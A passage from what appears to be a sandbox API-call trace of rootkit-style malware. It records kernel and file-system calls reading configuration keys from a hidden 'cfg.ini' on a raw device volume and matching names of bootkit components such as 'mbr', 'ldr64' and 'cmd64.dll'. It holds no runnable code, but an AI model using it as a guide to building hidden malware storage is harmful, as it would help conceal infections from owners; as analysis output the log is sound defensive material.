FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.742] KeLeaveCriticalRegion () [0124.742] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.742] KeEnterCriticalRegion () [0124.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.742] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.742] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.742] KeLeaveCriticalRegion () [0124.742] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.742] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.742] KeEnterCriticalRegion () [0124.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.743] ExFreePoolWithTag (P=0xfffffa8003bf3c50, Tag=0x0) [0124.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.743] KeLeaveCriticalRegion () [0124.743] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.743] ReleaseMutex (hMutex=0xf0) returned 1 [0124.743] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.743] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.743] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.743] KeEnterCriticalRegion () [0124.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.743] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.743] IdePortDispatch () returned 0x103 [0124.743] KeWaitForMutexObject () returned 0x0 [0124.743] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.743] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.743] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.743] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.743] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.743] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2f10 [0124.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.743] KeLeaveCriticalRegion () [0124.743] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.743] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.743] KeEnterCriticalRegion () [0124.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.743] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.743] KeLeaveCriticalRegion () [0124.743] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.743] KeEnterCriticalRegion () [0124.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.744] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.744] IdePortDispatch () returned 0x103 [0124.744] KeWaitForMutexObject () returned 0x0 [0124.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.744] KeLeaveCriticalRegion () [0124.744] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.744] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.744] KeEnterCriticalRegion () [0124.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.744] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b1000 [0124.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.744] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.744] IdePortDispatch () returned 0x103 [0124.744] KeWaitForMutexObject () returned 0x0 [0124.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.744] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.744] IdePortDispatch () returned 0x103 [0124.745] KeWaitForMutexObject () returned 0x0 [0124.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.745] KeLeaveCriticalRegion () [0124.745] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.745] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.745] KeEnterCriticalRegion () [0124.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.745] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.745] KeLeaveCriticalRegion () [0124.745] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.745] KeEnterCriticalRegion () [0124.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.745] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.745] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3740, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.745] KeLeaveCriticalRegion () [0124.745] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.746] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.746] KeEnterCriticalRegion () [0124.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.746] ExFreePoolWithTag (P=0xfffffa8003bf2f10, Tag=0x0) [0124.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.746] KeLeaveCriticalRegion () [0124.746] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.746] ReleaseMutex (hMutex=0xf0) returned 1 [0124.746] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.746] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.746] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.746] KeEnterCriticalRegion () [0124.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.746] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.746] IdePortDispatch () returned 0x103 [0124.746] KeWaitForMutexObject () returned 0x0 [0124.746] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.746] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.746] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.746] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.746] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.746] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1490 [0124.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.746] KeLeaveCriticalRegion () [0124.746] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.746] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.746] KeEnterCriticalRegion () [0124.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.746] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.746] KeLeaveCriticalRegion () [0124.746] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.747] KeEnterCriticalRegion () [0124.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.747] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.747] IdePortDispatch () returned 0x103 [0124.747] KeWaitForMutexObject () returned 0x0 [0124.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.747] KeLeaveCriticalRegion () [0124.747] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.747] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.747] KeEnterCriticalRegion () [0124.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.747] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b2000 [0124.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.747] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.747] IdePortDispatch () returned 0x103 [0124.747] KeWaitForMutexObject () returned 0x0 [0124.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.747] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.747] IdePortDispatch () returned 0x103 [0124.748] KeWaitForMutexObject () returned 0x0 [0124.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.748] KeLeaveCriticalRegion () [0124.748] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.748] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.748] KeEnterCriticalRegion () [0124.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.748] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.748] KeLeaveCriticalRegion () [0124.748] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.748] KeEnterCriticalRegion () [0124.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.748] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.748] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.748] KeLeaveCriticalRegion () [0124.748] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.748] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.748] KeEnterCriticalRegion () [0124.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.748] ExFreePoolWithTag (P=0xfffffa8003bf1490, Tag=0x0) [0124.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.749] KeLeaveCriticalRegion () [0124.749] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.749] ReleaseMutex (hMutex=0xf0) returned 1 [0124.749] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.749] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.749] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.749] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.749] KeEnterCriticalRegion () [0124.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.749] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.749] IdePortDispatch () returned 0x103 [0124.749] KeWaitForMutexObject () returned 0x0 [0124.749] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.749] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.749] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.749] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.749] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.749] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.749] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.749] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.749] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.749] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.749] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.749] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.749] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.749] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.749] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.749] KeLeaveCriticalRegion () [0124.749] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.749] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.749] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.749] KeEnterCriticalRegion () [0124.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.750] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.750] IdePortDispatch () returned 0x103 [0124.750] KeWaitForMutexObject () returned 0x0 [0124.750] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.750] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.750] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.750] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.750] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.750] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.750] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.750] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.750] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.750] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.750] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.750] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.750] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.750] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.750] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.750] KeLeaveCriticalRegion () [0124.750] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.750] ReleaseMutex (hMutex=0x100) returned 1 [0124.750] Sleep (dwMilliseconds=0x2bf20) [0124.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d8debb0, dwHighDateTime=0x1d24fa4)) [0124.756] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.756] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.756] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.756] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.757] KeEnterCriticalRegion () [0124.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.757] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.757] IdePortDispatch () returned 0x103 [0124.757] KeWaitForMutexObject () returned 0x0 [0124.757] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.757] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.757] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.757] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.757] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.757] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3ad0 [0124.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.757] KeLeaveCriticalRegion () [0124.757] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.757] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.757] KeEnterCriticalRegion () [0124.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.757] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.757] KeLeaveCriticalRegion () [0124.757] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.757] KeEnterCriticalRegion () [0124.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 